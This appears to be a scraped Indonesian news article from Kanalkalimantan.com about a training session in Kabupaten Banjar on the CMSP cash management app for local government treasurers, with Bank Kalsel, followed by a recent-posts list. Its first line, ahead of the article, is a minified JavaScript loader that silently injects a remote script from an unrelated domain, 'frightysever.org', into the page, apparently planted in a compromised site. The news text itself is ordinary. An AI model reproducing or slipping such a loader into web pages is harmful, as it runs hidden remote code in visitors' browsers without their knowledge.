(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Permudah Tugas Keuangan, BPKPAD Banjar Gelar Bimtek Penggunaan Aplikasi CMSP


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar mengapresiasi Badan Pengelolaan Keuangan, Pendapatan dan Aset Daerah (BPKPAD) dan Bank Kalsel dalam memberikan inovasi aplikasi Cash Management System Pemerintah Daerah (CMSP) untuk memudahkan tugas keuangan di pemerintahan.

Hal tersebut diungkapkan Bupati Banjar H Saidi Mansyur diwakili Asisten Perekonomian dan Pembangunan Ikhwansyah saat membuka Bimbingan Teknis (Bimtek) Penggunaan aplikasi CMSP, diikuti para kepala SKPD, bendahara dan para camat, di Hotel Treepark, Kecamatan Kertak Hanyar, Kamis (3/8/2023) pagi.

Ikhwansyah mengatakan, melalui aplikasi tersebut bendahara keuangan dapat melakukan transaksi perbankan secara online 24 jam dengan mudah dan efisien.

Melalui Bimtek ini Ikhwansyah berharap dapat memaksimalkan kinerja SKPD dan para camat dalam pengelolaan keuangan.

Baca juga: Emak-emak Bawa Sampel Air Keruh, Warga Penuhi RDP DPRD Kalsel-PTAM Intan Banjar

Bimtek Penggunaan aplikasi CMSP yang diikuti kepala SKPD, bendahara dan para camat, Kamis (3/8/2023) pagi. Foto: Diskominfo Banjar

Kepala BPKPAD Banjar Achmad Zulyadaini menjelaskan, penerapan CMSP ini mempercepat penyaluran dana dalam tata kelola keuangan daerah dan jaminan keamanan karena aplikasi tersebut terintegrasi dengan Surat Perintah Pencairan Dana (SP2D) online.

“Penggunaan aplikasi CMSP ini memudahkan bendahara sehingga tidak perlu lagi ke kantor BPKPAD tetapi cukup melalui aplikasi menyampaikan kepada Bendahara Umum Daerah (BUD) untuk dibuatkan SP2D yang langsung masuk ke Bank Kalsel atau kas daerah dan juga tidak perlu lagi menyampaikan berkas ke Bank Kalsel karena sudah melalui online,” jelas dia.

Baca juga: Curhat Emak-emak Air PTAM Intan Banjar Tak Ngalir, Selebgram Alint ‘Ngamuk’ di Medsos

Zulyadaini mengungkapkan dengan penerapan aplikasi ini juga bisa meningkatkan skor digitalisasi daerah, karena setiap daerah diminta untuk menerapkan sistem digital baik pendapatan maupun belanja daerah.

Sementara Kepala Kantor Bank Kalsel Cabang Martapura Ahmad Fauzi Noor menyampaikan, bahwa Bank Kalsel memberikan pelayanan terbaik dalam era digitalisasi terutama dalam pencatatan transaksi keuangan.

“Alhamdulillah kita sudah mengeluarkan produk CMSP untuk membantu kinerja transaksi keuangan daerah sehingga pemerintah pusat cukup melihat transaksi di aplikasi tersebut,” tutup dia. (Kanalkalimantan.com/diskominfobanjar/kk)

Reporter : kk
Editor : dhani


Al Ghifari

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

1 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

3 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

4 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

4 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

18 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

18 jam ago

This website uses cookies.